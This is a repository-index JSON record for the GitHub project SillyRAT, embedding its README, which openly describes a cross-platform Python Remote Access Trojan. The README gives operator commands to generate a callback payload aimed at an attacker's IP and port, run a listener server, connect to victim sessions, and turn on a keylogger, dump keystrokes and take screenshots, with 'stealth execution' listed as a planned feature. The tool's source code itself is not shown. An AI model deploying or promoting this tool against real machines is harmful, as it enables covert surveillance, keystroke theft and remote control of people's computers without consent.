{"id":13551647,"url":"https://github.com/hash3liZer/SillyRAT","last_synced_at":"2025-04-03T02:31:20.422Z","repository":{"id":43037983,"uuid":"262841389","full_name":"hash3liZer/SillyRAT","owner":"hash3liZer","description":"A Python based RAT 🐀 (Remote Access Trojan) for getting reverse shell 🖥️","archived":false,"fork":false,"pushed_at":"2023-12-09T00:42:07.000Z","size":202,"stargazers_count":727,"open_issues_count":6,"forks_count":152,"subscribers_count":28,"default_branch":"master","last_synced_at":"2024-10-13T09:23:16.443Z","etag":null,"topics":["client-server","linux","metasploit","python3","rat","shell","trojan","vps","windows"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/hash3liZer.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2020-05-10T17:37:37.000Z","updated_at":"2024-10-12T10:21:26.000Z","dependencies_parsed_at":"2024-03-16T22:58:14.900Z","dependency_job_id":"9b568f8e-367f-4c3e-a0f4-44b695a2468a","html_url":"https://github.com/hash3liZer/SillyRAT","commit_stats":null,"previous_names":[],"tags_count":1,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hash3liZer%2FSillyRAT","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hash3liZer%2FSillyRAT/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hash3liZer%2FSillyRAT/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hash3liZer%2FSillyRAT/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/hash3liZer","download_url":"https://codeload.github.com/hash3liZer/SillyRAT/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":222911634,"owners_count":17056714,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["client-server","linux","metasploit","python3","rat","shell","trojan","vps","windows"],"created_at":"2024-08-01T12:01:51.671Z","updated_at":"2024-11-03T22:31:21.941Z","avatar_url":"https://github.com/hash3liZer.png","language":"Python","readme":"\u003ch1 align=\"center\"\u003e \n    \u003cimg src=\"https://user-images.githubusercontent.com/29171692/89164677-00e3e480-d595-11ea-9cf1-f27ab1faf432.png\" alt=\"SillyRAT\" /\u003e \u003cbr\u003e    \n    SillyRAT\n\u003c/h1\u003e\n\u003cp align=\"center\"\u003e\n    \u003ca href=\"#\" target=\"_blank\"\u003e\u003cimg src=\"https://img.shields.io/badge/platform-cross-important\" alt=\"platform: cross\" /\u003e\u003c/a\u003e\n    \u003ca href=\"https://www.python.org/\" target=\"_blank\"\u003e\u003cimg src=\"https://img.shields.io/badge/Python-3-yellow.svg?logo=python\" alt=\"Python: 3\" /\u003e\u003c/a\u003e\n    \u003ca href=\"https://github.com/hash3liZer/SillyRAT/releases\" target=\"_blank\"\u003e\u003cimg src=\"https://img.shields.io/badge/version-v1.0-blue.svg?logo=moo\" alt=\"Release: v3.1\" /\u003e\u003c/a\u003e\n    \u003ca href=\"https://opensource.org/licenses/MIT\" target=\"_blank\"\u003e\u003cimg src=\"https://img.shields.io/badge/license-MIT-green.svg\" alt=\"lisence\" /\u003e\u003c/a\u003e\n\u003c/p\u003e\n\u003ch4 align=\"center\"\u003e A Cross Platform multifunctional (Windows/Linux/Mac) RAT.\u003c/h4\u003e\n\n\u003ch6 align=\"center\"\u003e\u003cimg src=\"https://user-images.githubusercontent.com/29171692/89173201-81104700-d5a1-11ea-8d93-f1d6eedc11c6.png\"\u003e\u003c/h6\u003e\n\n## Getting Started\n### Description\nA cross platform RAT written in pure Python. The RAT accept commands alongside arguments to either perform as the server who accepts connections or to perform as the client/target who establish connections to the server. The **generate** command uses the module **pyinstaller** to compile the actual payload code. So, in order to generate payload file for your respective platform, you need to be on that platform while generating the file. Moreover, you can directly get the source file as well. \n\n### Features\n\u003cul\u003e\n    \u003cli\u003eBuilt-in Shell for command execution\u003c/li\u003e\n    \u003cli\u003eDumping System Information including drives and rams\u003c/li\u003e\n    \u003cli\u003eScreenshot module. Captures screenshot of client screen.\u003c/li\u003e\n    \u003cli\u003eConnection Loop (Will continue on connecting to server)\u003c/li\u003e\n    \u003cli\u003eCurrently, it uses BASE64 encoding. \u003c/li\u003e\n    \u003cli\u003ePure Python\u003c/li\u003e\n    \u003cli\u003eCross Platform. (Tested on Linux. Errors are accepted)\u003c/li\u003e\n    \u003cli\u003eSource File included for testing\u003c/li\u003e\n    \u003cli\u003ePython 3\u003c/li\u003e\n\u003c/ul\u003e\n\n### To be expected in future\n\u003cul\u003e\n    \u003cli\u003eStealth Execution\u003c/li\u003e\n    \u003cli\u003eEncryption\u003c/li\u003e\n    \u003cli\u003eStoring Sessions from last attempt\u003c/li\u003e\n    \u003cli\u003ePushing Notifications when a client connects\u003c/li\u003e\n\u003c/ul\u003e\n\n### Installation\nThe tool is tested on **Parrot OS** with **Python 3.8**. \nFollow the steps for installation:\n```\n$ git clone https://github.com/hash3liZer/SillyRAT.git\n$ cd SillyRAT/\n$ pip3 install -r requirements.txt\n```\n\n## Documentation\n### Generating Payload\nYou can get the payload file in two ways: \n\u003cul\u003e\n    \u003cli\u003eSource File\u003c/li\u003e\n    \u003cli\u003eCompiled File\u003c/li\u003e\n\u003c/ul\u003e\nThe source file is to remain same on all platforms. So, you can generate it on one platform and use it on the other. Getting the source file: \n\n```\n$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/payload.py --source\n```\n\nThe compiled version has to generated on the respective platform. For example, you can't generate an .exe file on Linux. You specifically have to be on Windows. The tool is still under testing. So, all kinds of errors are accepted. Make sure to open an issue though. Generating the Compiled Version for Linux:\n\n```\n$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/filer\n```\n\n\u003ch6 align=\"center\"\u003e\u003cimg src=\"https://user-images.githubusercontent.com/29171692/89173322-b74dc680-d5a1-11ea-8b3b-e5aa83cfbda1.png\"\u003e\u003c/h6\u003e\n\nReplace your IP Address and Port on above commands. \n\n### Running Server\nThe server must be executed on Linux. You can buy a VPS or Cloud Server for connections. For the record, the server doesn't store any session from last run. So, all the progress will lost once the server application gets terminated. Running your server:\n```\n$ python3 sillyrat.py bind --address 0.0.0.0 --port 2999\n```\n\n### Connections\nAll the connections will be listed under **sessions** command:\n```\n$ sessions\n```\n\n\u003ch6 align=\"center\"\u003e\u003cimg src=\"https://user-images.githubusercontent.com/29171692/89171634-152cdf00-d59f-11ea-83a6-0344f370113a.png\"\u003e\u003c/h6\u003e\n\nYou can connect to you target session with **connect** command and launch one of available commands: \n```\n$ connect ID\n$ keylogger on\n$ keylogger dump\n$ screenshot\n```\n\n\u003ch6 align=\"center\"\u003e\u003cimg src=\"https://user-images.githubusercontent.com/29171692/89172191-d9464980-d59f-11ea-988c-9986b52642e7.png\"\u003e\u003c/h6\u003e\n\n### Help\nGet a list of available commands: \n```\n$ help\n```\n\nHelp on a Specific Command:\n```\n$ help COMMAND\n```\n\n### Support\nTwitter: \u003ca href=\"//twitter.com/hash3liZer\"\u003e@hash3liZer\u003c/a\u003e\u003cbr\u003e\nDiscord: TheFlash2k#0407\n","funding_links":[],"categories":["其他_安全与渗透","Python"],"sub_categories":["网络服务_其他"],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fhash3liZer%2FSillyRAT","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fhash3liZer%2FSillyRAT","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fhash3liZer%2FSillyRAT/lists"}